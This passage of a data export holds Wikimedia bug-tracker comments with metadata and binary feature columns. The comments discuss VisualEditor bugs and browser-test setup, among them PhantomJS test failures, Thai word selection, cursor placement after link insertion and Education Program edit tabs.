+**Attached**: {F11105}",,,1386926023,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233633,browsertests: triggers for VisualEditor,"(In reply to comment #6)
+> The test case currently does not work with PhantomJS, so I'll spend more time
+> tomorrow trying to figure out why PhantomJS can't click into Visual Editor
+> editing mode.
+
+In phantomjs, ""edit"" link is not visible by default, see attached screen shot.",,,1386925978,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1
+233628,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+I went ahead and amended the existing Gerrit ID:
+
+https://gerrit.wikimedia.org/r/#/c/100797/
+
+…with an additional anon test case that edits a random page (which will likely always be the ""Main Page"" for a fresh wiki install).  
+
+The test case currently does not work with PhantomJS, so I'll spend more time tomorrow trying to figure out why PhantomJS can't click into Visual Editor editing mode.",,,1386893033,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+233622,browsertests: triggers for VisualEditor,"Jeff : sure, if you can get a test that roughly does:
+
+ - anonymous user
+ - go to main page
+ - press Edit (visual editor version)
+ - ensure visual editor is loaded
+
+That would be a nice first step that would validate the Jenkins job and VE/Parsoid is properly setup :-)",,,1386847077,,PHID-USER-orzyp3dswemhdgdznro5,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+233614,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Sorry I wasn't able to get to work on this bug quickly Antoine - let me know if you want me to work on creating a new browser test that will succeed in this scenario (the existing anon test will fail since it presumes the existence of a User page in the target wiki).",,,1386811597,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+233607,browsertests: triggers for VisualEditor,"And I manage to get VisualEditor + Parsoid to be setup automatically using Jenkins. The related job configuration is pending in https://gerrit.wikimedia.org/r/#/c/100800/ (need to be polished).
+
+I confirmed the wiki is functional and managed to edit a page using VE \O/
+
+Next steps:
+* cleanup the job configuration
+* make the wiki faster (sqlite is not on tmpfs as an example)
+* try to get at least ONE browser test scenario to pass (anon ones are good candidates apparently)",,,1386798514,,PHID-USER-orzyp3dswemhdgdznro5,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0
+233601,browsertests: triggers for VisualEditor,"Change 100797 had a related patch set uploaded by Hashar:
+[browser test] cucumber default profile for CI
+
+https://gerrit.wikimedia.org/r/100797",,,1386779767,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+233597,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Assigning to myself per an e-mail thread with Antoine, Chris, and Željko.",,,1386701650,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+55679,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"When editing, clicking in the middle of or adjacent to an existing word in Latin, Hebrew, Arabic or Cyrillic scripts (others not tested) and pressing ctrl+k or clicking the link icon selects that word as the suggested sequence that is desired to be linked. When doing the same in Thai text nothing is selected by default.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1378126200,1381269899.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-l4bd6ekvg2ifcspk72da,task_description,invalid,True,c1,3,False,False,False,9,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+257335,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"This is not a ""bug"" per se - VisualEditor's word boundary detection only works for scripts that use word boundaries. Consequently it doesn't operate on Chinese or Thai (which don't use word boundaries), but does for Korean, Latin and Cyrillic languages, and others (which do).
+
+Theoretically it would be possible to build some code for applying algorithmic word boundary rules for Thai, but that's both complex and slow, so if that is desired it should be opened as an enhancement (and we'd need to see how we can make it only slow down users who are editing in Thai).
+
+Marking as INVALID.",,,1381269899,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l4bd6ekvg2ifcspk72da,task_subcomment,,True,c1,3,True,,,14,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+257331,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"I tested with Telugu and Malayalam, and this doesn't happen there. Must be something special with Thai.",,,1380647038,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-l4bd6ekvg2ifcspk72da,task_subcomment,,True,c1,3,False,,,13,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+257325,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"Confirmed in Thai Wikipedia and in the English Wikipedia with Thai words.
+
+Furthermore, if you Ctrl-K on a Latin word and then Ctrl-K on a Thai word, the Latin word appears in the input box. See this test case:
+https://en.wikipedia.org/wiki/User:Amire80/VE-Thai",,,1380442542,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-l4bd6ekvg2ifcspk72da,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+55642,VisualEditor: Removing formatting from part of a link causes a snowman,"I tried editing [[Fred Pittman]], including adding a comma after a link. The editor auto-added it to the link text, which wasn't what I wanted, so I selected the comma and clicked the remove-formatting button. This replaced the comma with a snowman. Woo!
+
+I'd also say that the auto-link-addition heuristic is a little buggy if it includes commas, but that's maybe just me. :)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1378013580,1380838919.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-dvolbemwppvolpsqeen5,task_description,resolved,True,c1,3,True,False,False,8,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+255039,VisualEditor: Removing formatting from part of a link causes a snowman,This was fixed two weeks ago; sorry for the slowness in replying.,,,1380838919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dvolbemwppvolpsqeen5,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+55560,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","When adding a link from scratch (without marking an existing word first)  the cursor ends up being at the beginning of the new link rather than at its end -- which stops fluent typing.
+
+Reproduce:
+1. Go to an RTL wiki.
+2. Go to a new sentence or new paragraph (cursor should be in an empty space)
+3. Create link, followed by enter/enter to close the inspector
+4. The cursor appears at the left of the word (which is the beginning in RTL) rather than the right of the word.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377807780,1377815727.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-tes2snxxrdfko3p2bzft,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+249995,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","Change 81872 merged by jenkins-bot:
+Cursor fix after link insertion
+
+https://gerrit.wikimedia.org/r/81872",,,1377813415,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tes2snxxrdfko3p2bzft,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249994,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","Change 81872 had a related patch set uploaded by Jforrester:
+Cursor fix after link insertion
+
+https://gerrit.wikimedia.org/r/81872",,,1377812789,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tes2snxxrdfko3p2bzft,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249991,"VisualEditor: After adding a link, cursor appears before rather than after the new insertion","This was actually not just for RTL wikis, and the submitted patch fixes the problem for both directions in Annotation Inspector (for both links and languages)",,,1377812736,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-tes2snxxrdfko3p2bzft,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+55543,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"**Author:** `wojciech.r`
+
+**Description:**
+When I edit existing content in <source> tags, while editing it, error is shown about invalid language specified (lang=) and after saving it puts fragment of HTML code of this tag divs and entities into source of page and my code is broken.
+
+https://www.mediawiki.org/w/index.php?title=VisualEditor:Test&oldid=773552
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1377796560,1377958953.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ikc6bitfegyn4srxsl45,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+249251,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"This is now fixed in master, and will be released to MediaWiki.org on Thursday 5 September. Sorry for the disruption.",,,1377958953,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+249244,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"Change 82063 merged by jenkins-bot:
+Round trip alien extensions correctly when edited
+
+https://gerrit.wikimedia.org/r/82063",,,1377909844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+249239,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,This fix preserves attributes correctly. The above bug would allow you to edit them.,,,1377906465,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+249235,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,Related bug 53614,,,1377906431,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+249231,VisualEditor: Editing a <syntaxhighlight> block with the experimental generic editor leads to brokenness because the attributes get blanked,"Change 82063 had a related patch set uploaded by Esanders:
+Round trip alien extensions correctly when edited
+
+https://gerrit.wikimedia.org/r/82063",,,1377905362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ikc6bitfegyn4srxsl45,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+55507,VisualEditor: Pressing up while next to an inline image throws an exception,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377729540,1377736943.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qgxcekjgfnhxpyipqdms,task_description,resolved,True,c1,3,True,False,True,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+246922,VisualEditor: Pressing up while next to an inline image throws an exception,"Change 81596 merged by jenkins-bot:
+Move contentEditable=false to protected node
+
+https://gerrit.wikimedia.org/r/81596",,,1377732790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgxcekjgfnhxpyipqdms,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246919,VisualEditor: Pressing up while next to an inline image throws an exception,"Change 81596 had a related patch set uploaded by Esanders:
+Move contentEditable=false to protected node
+
+https://gerrit.wikimedia.org/r/81596",,,1377732192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qgxcekjgfnhxpyipqdms,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55477,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","For those with the rights to edit such pages (admins and those with EducationProgram-specific userrights), the Edit button on course pages and institution pages is mislabeled ""Create source"". (VE is not enabled in the Education Program: namespace, so it should remain simply ""Edit"".)
+
+Example institution page:
+http://en.wikipedia.org/wiki/Education_Program:University_of_Oklahoma
+
+Example course page:
+http://en.wikipedia.org/wiki/Education_Program:University_of_Oklahoma/History_of_Science_from_Antiquity_to_Newton_(Fall_2013)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377700800,1397705810.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,False,PHID-TASK-4lk6qpiuan7kbk6fch54,task_description,resolved,True,c1,3,False,False,False,8,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+244684,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","**andrew.green.df** wrote:
+
+P.S. Go to a production wiki and try this in a js console:
+
+mw.config.get('wgContentNamespaces')
+
+The results coincide:
+
+https://github.com/wikimedia/operations-mediawiki-config/blob/master/wmf-config/InitialiseSettings.php#L9292-9349
+
+I lost the scent of $wgVisualEditorNamespaces following a brief pursuit, though...",,,1397734119,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+244678,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","**andrew.green.df** wrote:
+
+Added a comment on the Gerrit change. tl;dr: Is $wgContentNamespaces getting checked? I don't see how EP_NS could be there, and checking it in js seems to fix the issue. Thanks!",,,1397732911,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+244674,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Change 125233 merged by jenkins-bot:
+Don't change tabs on Education Program pages
+
+https://gerrit.wikimedia.org/r/125233",,,1397705933,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244670,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","(In reply to Andrew Green from comment #9)
+> I can look into making the EP extension warn VE through some generic
+> mechanism.
+
+Ideally EP would warn VE through the existing generic mechanisms that Krinkle suggested; this would avoid VE having to have EP-specific code in it entirely. :-)
+
+
+> BTW, I wouldn't recommend that anyone try to make major changes to the EP
+> extension, as the plan is just to rewrite it.
+
+Understood. 
+
+
+> Alex's patch also looks like a fine temporary solution. :)
+
+Alex's patch is necessarily a horrible hack, but yeah…",,,1397246077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+244666,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","**andrew.green.df** wrote:
+
+I can look into making the EP extension warn VE through some generic mechanism. The bug is moderately important for users of the extension, and I imagine there's some way to do this without making major changes.
+
+BTW, I wouldn't recommend that anyone try to make major changes to the EP extension, as the plan is just to rewrite it.
+
+The issues Krinkle mentions are certainly valid. Alex's patch also looks like a fine temporary solution. :)",,,1397245474,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,40,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+244665,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","(In reply to Krinkle from comment #7)
+> I'd say EP should either let us know how to generically detect it without
+> being EP specific, or it should implement support to at least do one thing
+> right. Possibly we could do the latter ourselves (maybe Alex is interested
+> in patching EP).
+
+I don't really think this bug is important enough to VE to justify making big changes to how another extension works...",,,1397243067,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,1,1
+244661,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","From a quick investigation it looks like there are about a dozen different ways in which VisualEditor can reasonably find out that the page is not a real wikipage.
+
+Not one of them is being used by EP right now.
+
+* It's pretending to be a wiki page (by having its own namespace and using action=view, albeit overridden, to render the dynamically constructed page).
+
+* Generally this is something we have Special pages for. If the rendering is completely taken over (as in, there is no page table entry, no revisions table entries etc.), it should be a Special page. Or at least a custom namespace with a negative namespace id.
+
+* It abuses existing WikiPage action queries (action=edit, action=delete), which doesn't make sense because it isn't a WikiPage. So inherently this is going to cause trouble because:
+  1) They aren't compatible (the query string parameters Action pages take aren't supported, other than title=).
+  2) It doesn't scale. Right now they take over move, delete, edit and view. But there are more page actions, and by design they will not support all of them (they override the ones they re-implement and the rest just fails). For example ""View history"" (action=history) is quite useless right now. And action=edit doesn't work as expected. Not to mention API actions, none of those are working as expected.
+  3) Existence check impossible.  Because they aren't actually wiki pages with page and revision ids, existence check isn't possible. ContentModel can't be overridden because it doesn't use wikipage content. All pages are considered inexistent pages in a custom namespace, and then overridden to exist in some cases.
+
+There are many different ways in which EP could indicate in a standard / reliable way that doesn't require other code to hardcode for EP specifically, and it doesn't seem to be using any of them.
+
+I'd say EP should either let us know how to generically detect it without being EP specific, or it should implement support to at least do one thing right. Possibly we could do the latter ourselves (maybe Alex is interested in patching EP).",,,1397241093,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
